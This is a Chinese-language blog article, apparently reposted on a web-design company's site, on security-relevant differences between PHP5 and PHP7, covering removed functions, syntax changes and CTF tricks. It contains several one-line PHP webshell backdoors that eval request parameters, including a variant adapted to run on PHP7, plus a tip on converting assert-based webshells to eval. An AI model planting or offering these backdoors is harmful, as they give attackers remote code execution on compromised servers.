建站
咨詢
售后
建站咨詢
新聞中心
前言
之前測試的時候發(fā)現很多菜刀的馬都不能用了，大馬也幾乎3/4不能正常在php7運行。網上百度也沒有找到太多相關性的文章，就自己總結測試了一下關于安全性上的區(qū)別。
函數修改
1. preg_replace()不再支持/e修飾符
- preg_replace("/.*/e",$_GET["h"],".");
- ?>
利用\e修飾符執(zhí)行代碼的后門大家也用了不少了，具體看官方的這段描述:
| 如果設置了這個被棄用的修飾符， preg_replace() 在進行了對替換字符串的 后向引用替換之后, 將替換后的字符串作為php 代碼評估執(zhí)行(eval 函數方式)，并使用執(zhí)行結果 作為實際參與替換的字符串。單引號、雙引號、反斜線()和 NULL 字符在 后向引用替換時會被用反斜線轉義. |
很不幸，在PHP7以上版本不在支持\e修飾符，同時官方給了我們一個新的函數preg_replace_callback：
這里我們稍微改動一下就可以利用它當我們的后門：
- preg_replace_callback("/.*/",function ($a){@eval($a[0]);},$_GET["h"]);
- ?>
2. create_function()被廢棄
- $func =create_function('',$_POST['cmd']);$func();
- ?>
少了一種可以利用當后門的函數，實際上它是通過執(zhí)行eval實現的?？捎锌蔁o。
3. mysql_*系列全員移除
如果你要在PHP7上面用老版本的mysql_*系列函數需要你自己去額外裝了，官方不在自帶，現在官方推薦的是mysqli或者pdo_mysql。這是否預示著未來SQL注入漏洞在PHP上的大幅減少呢~
4. unserialize()增加一個可選白名單參數
- $data = unserialize($serializedObj1 , ["allowed_classes" => true]);
- $data2 = unserialize($serializedObj2 , ["allowed_classes" => ["MyClass1", "MyClass2"]]);
其實就是一個白名單，如果反序列數據里面的類名不在這個白名單內，就會報錯。
像這樣的報錯!
可以是類名也可以是布爾數據，如果是FALSE就會將所有的對象都轉換為__PHP_Incomplete_Class對象。TRUE是沒有限制的。也可以傳入類名實現白名單。
還好現在是可選不是必選，要是默認FALSE逼程序員弄白名單那就真的吐血了。
5. assert()默認不在可以執(zhí)行代碼
這就是眾多馬不能用的罪魁禍首了，太多的馬用assert()來執(zhí)行代碼了，這個更新基本就團滅，一般情況下修改成eval即可正常運行了~
提一下，菜刀在實現文件管理器的時候用的恰好也是assert函數，這導致菜刀沒辦法在PHP7上正常運行。
語法修改
1. foreach不再改變內部數組指針
- $a = array('1','2','3');
- foreach ($a as $k=>&$n){
- echo "";
- }
- print_r($a);
- foreach ($a as $k=>$n){
- echo "";
- }
- print_r($a);
這樣的代碼在php5中，是這樣的執(zhí)行結果：
因為數組最后一個元素的 $value 引用在 foreach 循環(huán)之后仍會保留，在第二個循環(huán)的時候實際上是對之前的指針不斷的賦值。php7中通過值遍歷時，操作的值為數組的副本，不在對后續(xù)操作進行影響。
這個改動影響了某些cms的洞在PHP7上無法利用了….你知道我指的是哪個洞的。
這個問題在PHP7.0.0以后的版本又被改回去了，只影響這一個版本。
2. 8進制字符容錯率降低
在php5版本，如果一個八進制字符如果含有無效數字，該無效數字將被靜默刪節(jié)。
- echo octdec( '012999999999999' ) . "\n";
- echo octdec( '012' ) . "\n";
- if (octdec( '012999999999999' )==octdec( '012' )){
- echo ": )". "\n";
- }
比如這樣的代碼在php5中的執(zhí)行結果如下：
但是在php7里面會觸發(fā)一個解析錯誤。
這個問題同樣在PHP7.0.0以后的版本又被改回去了，只影響這一個版本。
3. 十六進制字符串不再被認為是數字
這個修改一出，以后CTF套路會少很多啊~
很多騷操作都不能用了~
這個沒什么好說的，大家都懂。
- var_dump("0x123" == "291");
- var_dump(is_numeric("0x123"));
- var_dump("0xe" + "0x1");
- var_dump(substr("foo", "0x1"));
- ?>
以上代碼在PHP5運行結果如下：
PHP7運行結果如下：
你以為我要說這個在后續(xù)版本被改回去了?不，目前截至PHP7.3版本依然沒有改回去的征兆，官方稱不會在改了。這個講道理還是蠻傷的。
4. 移除了 ASP 和 script PHP 標簽
現在只有 這樣的標簽能在php7上運行了。
字面意思，影響其實不是很大(只是以后騷套路會少一點)。
5. 超大浮點數類型轉換截斷
將浮點數轉換為整數的時候，如果浮點數值太大，導致無法以整數表達的情況下， 在PHP5的版本中，轉換會直接將整數截斷，并不會引發(fā)錯誤。 在PHP7中，會報錯。
CTF又少一個出題套路，這個問題我只在CTF上見過，影響應該不大。
雜項
- exec(), system() passthru()函數對 NULL 增加了保護.
- list()不再能解開字符串string變量
- $HTTP_RAW_POST_DATA 被移除
- __autoload() 方法被廢棄
- parse_str() 不加第二個參數會直接把字符串導入當前的符號表，如果加了就會轉換稱一個數組?，F在是第二個參數是強行選項了。
- 統(tǒng)一不同平臺下的整型長度
- session_start() 可以加入一個數組覆蓋php.ini的配置
后記
這篇文章將保持長期更新和修正。但是很遺憾FB在發(fā)布之后作者就沒有權限更改了，因此后續(xù)更新將在博客上發(fā)布。
錯誤的地方或者不全的地方請通過bad_guys@qq.com聯系我。
引用：http://php.net/
名稱欄目：PHP7和PHP5在安全上的區(qū)別
文章源于：http://www.5511xx.com/article/cogejdi.html
